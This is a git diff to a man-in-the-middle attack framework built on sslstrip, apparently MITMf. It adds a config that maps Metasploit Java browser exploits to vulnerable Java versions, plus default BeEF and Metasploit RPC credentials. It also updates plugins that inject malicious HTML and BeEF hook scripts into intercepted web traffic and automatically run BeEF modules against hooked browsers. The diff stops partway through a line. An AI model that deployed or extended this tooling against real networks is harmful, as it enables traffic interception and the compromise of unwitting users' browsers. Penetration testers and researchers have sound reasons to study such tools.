diff --git a/config/javapwn.cfg b/config/javapwn.cfg
index 45a4417..b11dc85 100644
--- a/config/javapwn.cfg
+++ b/config/javapwn.cfg
@@ -1,5 +1,27 @@
-#Example config file for the javapwn plugin
-1.702 = "java_atomicreferencearray"
-1.704 = "java_verifier_field_access"
-1.706 = "java_jre17_exec"
-1.707 = "java_jre17_jaxws"
\ No newline at end of file
+# All versions strings without a * are considered vulnerable if clients Java version is <= update version
+# When adding more exploits remember the following format: version string (eg 1.6.0) + update version (eg 28) = 1.6.0.28
+
+[Multi] #Cross platform exploits, yay java! <3
+
+multi/browser/java_rhino = 1.6.0.28, 1.7.0.28
+multi/browser/java_calendar_deserialize = 1.6.0.10, 1.5.0.16
+multi/browser/java_getsoundbank_bof = 1.6.0.16, 1.5.0.21, 1.4.2.23, 1.3.1.26
+multi/browser/java_atomicreferencearray = 1.6.0.30, 1.5.0.33, 1.7.0.2
+multi/browser/java_jre17_exec = 1.7.0.6
+multi/browser/java_jre17_jaxws = 1.7.0.7
+multi/browser/java_jre17_jmxbean = 1.7.0.10
+multi/browser/java_jre17_jmxbean_2 = 1.7.0.11
+multi/browser/java_jre17_reflection_types = 1.7.0.17
+multi/browser/java_verifier_field_access = 1.7.0.4, 1.6.0.32, 1.5.0.35, 1.4.2.37
+multi/browser/java_jre17_glassfish_averagerangestatisticimpl = 1.7.0.7
+multi/browser/java_jre17_method_handle = 1.7.0.7
+multi/browser/java_jre17_driver_manager = 1.7.0.17
+multi/browser/java_jre17_provider_skeleton = 1.7.0.21
+multi/browser/java_storeimagearray = 1.7.0.21
+multi/browser/java_setdifficm_bof = *1.6.0.16, *1.6.0.11
+
+[Windows] #These are windows specific
+
+windows/browser/java_ws_double_quote = 1.6.0.35, 1.7.0.7
+windows/browser/java_cmm = 1.6.0.41, 1.7.0.15
+windows/browser/java_mixer_sequencer = 1.6.0.18
diff --git a/config/mitmf.cfg b/config/mitmf.cfg
new file mode 100644
index 0000000..a42c7fc
--- /dev/null
+++ b/config/mitmf.cfg
@@ -0,0 +1,10 @@
+[BeEF]
+beefip = 127.0.0.1
+beefport = 3000
+user = beef
+pass = beef
+
+[Metasploit]
+msfport = 8080 #Port to start webserver for exploits
+rpcip = 127.0.0.1
+rpcpass = abc123
\ No newline at end of file
diff --git a/libs/sslstrip/ServerConnection.py b/libs/sslstrip/ServerConnection.py
index 87d70d5..9730893 100644
--- a/libs/sslstrip/ServerConnection.py
+++ b/libs/sslstrip/ServerConnection.py
@@ -47,7 +47,6 @@ class ServerConnection(HTTPClient):
self.postData = postData
self.headers = headers
self.client = client
- self.clientInfo = None
self.urlMonitor = URLMonitor.getInstance()
self.hsts = URLMonitor.getInstance().isHstsBypass()
self.plugins = ProxyPlugins.getInstance()
@@ -76,7 +75,10 @@ class ServerConnection(HTTPClient):
def sendRequest(self):
if self.command == 'GET':
user_agent = parse(self.headers['user-agent'])
- self.clientInfo = "%s [type:%s-%s os:%s] " % (self.client.getClientIP(), user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family)
+ try:
+ self.clientInfo = "%s [type:%s-%s os:%s] " % (self.client.getClientIP(), user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family)
+ except:
+ self.clientInfo = "%s " % self.client.getClientIP()
logging.info(self.clientInfo + "Sending Request: %s" % self.headers['host'])
diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py
index c4196cd..545502d 100644
--- a/plugins/BeefAutorun.py
+++ b/plugins/BeefAutorun.py
@@ -1,10 +1,12 @@
from plugins.plugin import Plugin
from plugins.Inject import Inject
from time import sleep
+import logging
+logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
+from scapy.all import get_if_addr
import sys
import json
import threading
-import logging
import libs.beefapi as beefapi
try:
@@ -17,57 +19,57 @@ requests_log.setLevel(logging.WARNING)
class BeefAutorun(Inject, Plugin):
- name = "BeEFAutorun"
- optname = "beefauto"
- has_opts = True
- desc = "Injects BeEF hooks & autoruns modules based on Browser or OS type"
+ name = "BeEFAutorun"
+ optname = "beefauto"
+ has_opts = False
+ desc = "Injects BeEF hooks & autoruns modules based on Browser and/or OS type"
def initialize(self, options):
- self.options = options
- self.autoruncfg = options.autoruncfg
- self.hookip = options.hookip
- self.beefip = options.beefip
- self.beefport = options.beefport
- self.beefuser = options.beefuser
- self.beefpass = options.beefpass
- self.dis_inject = options.dis_inject
-
- beef = beefapi.BeefAPI({"host": self.beefip, "port": self.beefport})
- if beef.login(self.beefuser, self.beefpass):
- print "[*] Successfully logged in to BeEF"
- else:
- sys.exit("[-] Error logging in to BeEF!")
+ self.options = options
+ beefconfig = ConfigObj("./config/mitmf.cfg")['BeEF']
userconfig = ConfigObj("./config/beefautorun.cfg")
+
self.Mode = userconfig['mode']
-
self.All_modules = userconfig["ALL"]
self.Targeted_modules = userconfig["targets"]
- if self.dis_inject:
- if not self.hookip:
- sys.exit("[-] BeEFAutorun requires --hookip")
- Inject.initialize(self, options)
- self.count_limit = 1
- self.html_payload = '' % (self.hookip, self.beefport)
+ try:
+ self.ip_address = get_if_addr(options.interface)
+ if self.ip_address == "0.0.0.0":
+ sys.exit("[-] Interface %s does not have an IP address" % options.interface)
+ except Exception, e:
+ sys.exit("[-] Error retrieving interface IP address: %s" % e)
+ Inject.initialize(self, options)
+ self.black_ips = []
+ self.html_payload = '' % (self.ip_address, beefconfig['beefport'])
+
+ beef = beefapi.BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']})
+ if beef.login(beefconfig['user'], beefconfig['pass']):
+ print "[*] Successfully logged in to BeEF"
+ else:
+ sys.exit("[-] Error logging in to BeEF!")
+
print "[*] BeEFAutorun plugin online => Mode: %s" % self.Mode
t = threading.Thread(name="autorun", target=self.autorun, args=(beef,))
t.setDaemon(True)
t.start()
def autorun(self, beef):
- already_ran = []
+ already_ran = []
already_hooked = []
+
while True:
sessions = beef.sessions_online()
- if sessions is not None and len(sessions) > 0:
+ if (sessions is not None and len(sessions) > 0):
for session in sessions:
if session not in already_hooked:
info = beef.hook_info(session)
logging.info("%s >> joined the horde! [id:%s, type:%s-%s, os:%s]" % (info['ip'], info['id'], info['name'], info['version'], info['os']))
already_hooked.append(session)
+ self.black_ips.append(str(info['ip']))
if self.Mode == 'oneshot':
if session not in already_ran:
@@ -83,9 +85,9 @@ class BeefAutorun(Inject, Plugin):
def execModules(self, session, beef):
session_info = beef.hook_info(session)
- session_ip = session_info['ip']
+ session_ip = session_info['ip']
hook_browser = session_info['name']
- hook_os = session_info['os']
+ hook_os = session_info['os']
if len(self.All_modules) > 0:
logging.info("%s >> sending generic modules" % session_ip)
@@ -115,12 +117,3 @@ class BeefAutorun(Inject, Plugin):
else:
logging.info('%s >> ERROR sending module %s' % (session_ip, mod_id))
sleep(0.5)
-
- def add_options(self, options):
- group = options.add_mutually_exclusive_group(required=False)
- group.add_argument('--hookip', dest='hookip', help="Hook IP")
- group.add_argument('--disable-inject', dest='dis_inject', action='store_true', default=True, help='Disables automatically injecting the hook url')
- options.add_argument('--beefip', dest='beefip', default='127.0.0.1', help="IP of BeEF's server [default: localhost]")
- options.add_argument('--beefport', dest='beefport', default='3000', help="Port of BeEF's server [default: 3000]")
- options.add_argument('--beefuser', dest='beefuser', default='beef', help='Username for beef [default: beef]')
- options.add_argument('--beefpass', dest='beefpass', default='beef', help='Password for beef [default: beef]')
diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py
index ec7f8d0..536c563 100644
--- a/plugins/BrowserProfiler.py
+++ b/plugins/BrowserProfiler.py
@@ -17,9 +17,9 @@ class BrowserProfiler(Inject, Plugin):
self.dic_output = {} # so other plugins can access the results
print "[*] Browser Profiler online"
- def post2dict(self, string): #converts the ajax post to a dic
+ def post2dict(self, post): #converts the ajax post to a dic
dict = {}
- for line in string.split('&'):
+ for line in post.split('&'):
t = line.split('=')
dict[t[0]] = t[1]
return dict
@@ -69,8 +69,6 @@ function make_xhr(){
}
var data = [];
- userAgent = navigator.userAgent;
- data.push('user_agent=' + userAgent);
var PD = PluginDetect;
diff --git a/plugins/Inject.py b/plugins/Inject.py
index 3d222b7..07d441f 100644
--- a/plugins/Inject.py
+++ b/plugins/Inject.py
@@ -1,4 +1,6 @@
import logging
+logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
+from scapy.all import get_if_addr
import time
import re
import argparse
@@ -15,15 +17,36 @@ class Inject(CacheKill, Plugin):
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
- self.options = options
- self.html_src = options.html_url
- self.js_src = options.js_url
- self.rate_limit = options.rate_limit
- self.count_limit = options.count_limit
- self.per_domain = options.per_domain
- self.match_str = options.match_str
+ self.options = options
+ self.html_src = options.html_url
+ self.js_src = options.js_url
+ self.rate_limit = options.rate_limit
+ self.count_limit = options.count_limit
+ self.per_domain = options.per_domain
+ self.black_ips = options.black_ips
+ self.white_ips = options.white_ips
+ self.match_str = options.match_str
self.html_payload = options.html_payload
+ try:
+ self.proxyip = get_if_addr(options.interface)
+ if self.proxyip == "0.0.0.0":
+ sys.exit("[-] Interface %s does not have an IP address" % options.interface)
+ except Exception, e:
+ sys.exit("[-] Error retrieving interface IP address: %s" % e)
+
+ if self.white_ips:
+ temp = []
+ for ip in self.white_ips.split(','):
+ temp.append(ip)
+ self.white_ips = temp
+
+ if self.black_ips:
+ temp = []
+ for ip in self.black_ips.split(','):
+ temp.append(ip)
+ self.black_ips = temp
+
if self.options.preserve_cache:
self.implements.remove("handleHeader")
self.implements.remove("connectionMade")
@@ -43,15 +66,15 @@ class Inject(CacheKill, Plugin):
#print "http://" + request.client.getRequestHostname() + request.uri
ip, hn, mime = self._get_req_info(request)
if self._should_inject(ip, hn, mime) and (not self.js_src == self.html_src is not None or not self.html_payload == ""):
-
- data = self._insert_html(data, post=[(self.match_str, self._get_payload())])
- self.ctable[ip] = time.time()
- self.dtable[ip+hn] = True
- self.count += 1
- logging.info("%s [%s] Injected malicious html" % (request.client.getClientIP(), request.headers['host']))
- return {'request': request, 'data': data}
- else:
- return
+ if hn not in self.proxyip: #prevents recursive injecting
+ data = self._insert_html(data, post=[(self.match_str, self._get_payload())])
+ self.ctable[ip] = time.time()
+ self.dtable[ip+hn] = True
+ self.count += 1
+ logging.info("%s [%s] Injected malicious html" % (ip, hn))
+ return {'request': request, 'data': data}
+ else:
+ return
def _get_payload(self):
return self._get_js() + self._get_iframe() + self.html_payload
@@ -62,12 +85,28 @@ class Inject(CacheKill, Plugin):
options.add_argument("--html-payload", type=str, default="", help="String you would like to inject.")
options.add_argument("--html-file", type=argparse.FileType('r'), default=None, help="File containing code you would like to inject.")
options.add_argument("--match-str", type=str, default="